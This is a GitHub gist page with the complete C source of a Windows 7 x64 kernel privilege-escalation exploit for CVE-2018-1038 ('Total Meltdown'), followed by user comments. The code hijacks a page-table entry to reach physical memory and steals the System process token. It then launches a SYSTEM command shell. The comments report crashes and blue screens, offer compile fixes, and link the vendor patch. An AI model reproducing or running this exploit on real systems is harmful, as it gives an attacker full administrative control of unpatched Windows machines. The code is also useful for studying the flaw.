/CVE-2018-1038.c Secret
-
Star
(126)
You must be signed in to star a gist -
Fork
(59)
You must be signed in to fork a gist
-
-
Save xpn/bdb99cee8895bab4b1a0671696570d94 to your computer and use it in GitHub Desktop.
| #include "stdafx.h" | |
| #define PML4_BASE 0xFFFFF6FB7DBED000 | |
| #define PDP_BASE 0xFFFFF6FB7DA00000 | |
| #define PD_BASE 0xFFFFF6FB40000000 | |
| #define PT_BASE 0xFFFFF68000000000 | |
| int main() | |
| { | |
| printf("TotalMeltdown PrivEsc exploit by @_xpn_\n"); | |
| printf(" paging code by @UlfFrisk\n\n"); | |
| printf(" https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n"); | |
| unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD; | |
| DWORD done; | |
| // Check for vulnerability | |
| __try { | |
| int test = *(unsigned long long *)PML4_BASE; | |
| } | |
| __except (EXCEPTION_EXECUTE_HANDLER) { | |
| printf("[X] Could not access PML4 address, system likely not vulnerable\n"); | |
| return 2; | |
| } | |
| // setup: PDPT @ fixed hi-jacked physical address: 0x10000 | |
| // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry | |
| // we can hijack. | |
| for (iPML4 = 256; iPML4 < 512; iPML4++) { | |
| vaPML4e = PML4_BASE + (iPML4 << 3); | |
| if (*(unsigned long long *)vaPML4e) { continue; } | |
| // When we find an entry, we add a pointer to the next table (PDPT), which will be | |
| // stored at the physical address 0x10000 | |
| *(unsigned long long *)vaPML4e = 0x10067; | |
| break; | |
| } | |
| printf("[*] PML4 Entry Added At Index: %d\n", iPML4); | |
| // Here, the PDPT table is referenced via a virtual address. | |
| // For example, if we added our hijacked PML4 entry at index 256, this virtual address | |
| // would be 0xFFFFF6FB7DA00000 + 0x100000 | |
| // This allows us to reference the physical address 0x10000 as: | |
| // PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100 | |
| vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3)); | |
| printf("[*] PDPT Virtual Address: %p", vaPDPT); | |
| // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages | |
| // Below is responsible for adding 31 entries to the PDPT | |
| for (iPDPT = 0; iPDPT < 31; iPDPT++) { | |
| *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12); | |
| } | |
| // For each of the PDs, a further 512 PT's are created. This gives access to | |
| // 512 * 32 * 2mb = 33gb physical memory space | |
| for (iPDPT = 0; iPDPT < 31; iPDPT++) { | |
| if ((iPDPT % 3) == 0) | |
| printf("\n[*] PD Virtual Addresses: "); | |
| vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3)); | |
| printf("%p ", vaPD); | |
| for (iPD = 0; iPD < 512; iPD++) { | |
| // Below, notice the 0xe7 flags added to each entry. | |
| // This is used to create a 2mb page rather than the standard 4096 byte page. | |
| *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7; | |
| } | |
| } | |
| printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n"); | |
| #define EPROCESS_IMAGENAME_OFFSET 0x2e0 | |
| #define EPROCESS_TOKEN_OFFSET 0x208 | |
| #define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base | |
| unsigned long long ourEPROCESS = 0, systemEPROCESS = 0; | |
| unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3)); | |
| STARTUPINFOA si; | |
| PROCESS_INFORMATION pi; | |
| ZeroMemory(&si, sizeof(si)); | |
| si.cb = sizeof(si); | |
| ZeroMemory(&pi, sizeof(pi)); | |
| printf("[*] Hunting for _EPROCESS structures in memory\n"); | |
| for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) { | |
| __try { | |
| // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field | |
| if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) { | |
| if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { | |
| ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; | |
| printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS); | |
| } | |
| } | |
| // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field | |
| else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) { | |
| if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { | |
| systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; | |
| printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS); | |
| } | |
| } | |
| if (systemEPROCESS != 0 && ourEPROCESS != 0) { | |
| // Swap the tokens by copying the pointer to System Token field over our process token | |
| printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET); | |
| *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET); | |
| printf("[*] Done, spawning SYSTEM shell...\n\n"); | |
| CreateProcessA(0, | |
| "cmd.exe", | |
| NULL, | |
| NULL, | |
| TRUE, | |
| 0, | |
| NULL, | |
| "C:\\windows\\system32", | |
| &si, | |
| &pi); | |
| break; | |
| } | |
| } | |
| __except (EXCEPTION_EXECUTE_HANDLER) { | |
| printf("[X] Exception occured, stopping to avoid BSOD\n"); | |
| return 2; | |
| } | |
| } | |
| return 0; | |
| } |
I compiled with vs2012,it must be something wrong the code.
Problem signature:
Problem Event Name: APPCRASH
Application Name: cve-2018-1038.exe
Application Version: 0.0.0.0
Application Timestamp: 5ade000c
Fault Module Name: cve-2018-1038.exe
Fault Module Version: 0.0.0.0
Fault Module Timestamp: 5ade000c
Exception Code: c0000005
Exception Offset: 00001089
OS Version: 6.1.7601.2.1.0.256.48
Locale ID: 1033
Additional Information 1: 0a9e
Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
Additional Information 3: 0a9e
Additional Information 4: 0a9e372d3b4ad19135b953a78882e789
vaPML4e 18446734156630065160 unsigned __int64
Service pack has already been released - https://support.microsoft.com/en-us/help/4100480/windows-kernel-update-for-cve-2018-1038
Those having compilation issues may want to #include <windows.h>.
Trying this out on a vulnerable 2008 R2 caused a BSOD.
As awify says When I compiled the code with VS2008 and VS2015 and test it on win-8-x64 I got the same result.
How can i fix it?
Problem signature:
Problem Event Name: APPCRASH
Application Name: TotalMeltdown.exe
Application Version: 0.0.0.0
Application Timestamp: 5ae00ae7
Fault Module Name: TotalMeltdown.exe
Fault Module Version: 0.0.0.0
Fault Module Timestamp: 5ae00ae7
Exception Code: c0000005
Exception Offset: 0000107e
OS Version: 6.1.7601.2.1.0.256.1
Locale ID: 1033
Additional Information 1: 0a9e
Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
Additional Information 3: 0a9e
Additional Information 4: 0a9e372d3b4ad19135b953a78882e789
@RaphaelVAnderson exploit affects only Windows 7
#include "stdafx.h"
Error: No such file or directory: stdafx.h
Can I just remove this line? If not, what do I need to replace it with? Or can I just download stdafx.h from somewhere?
AllKittyy
- try <stdafx.h>
- or delete this include, and write include <windows.h> , <stdio.h> and others
Wow. That is pretty straightforward and simple code. It is interesting that the code swaps tokens only after memory has been located which is to be viewed.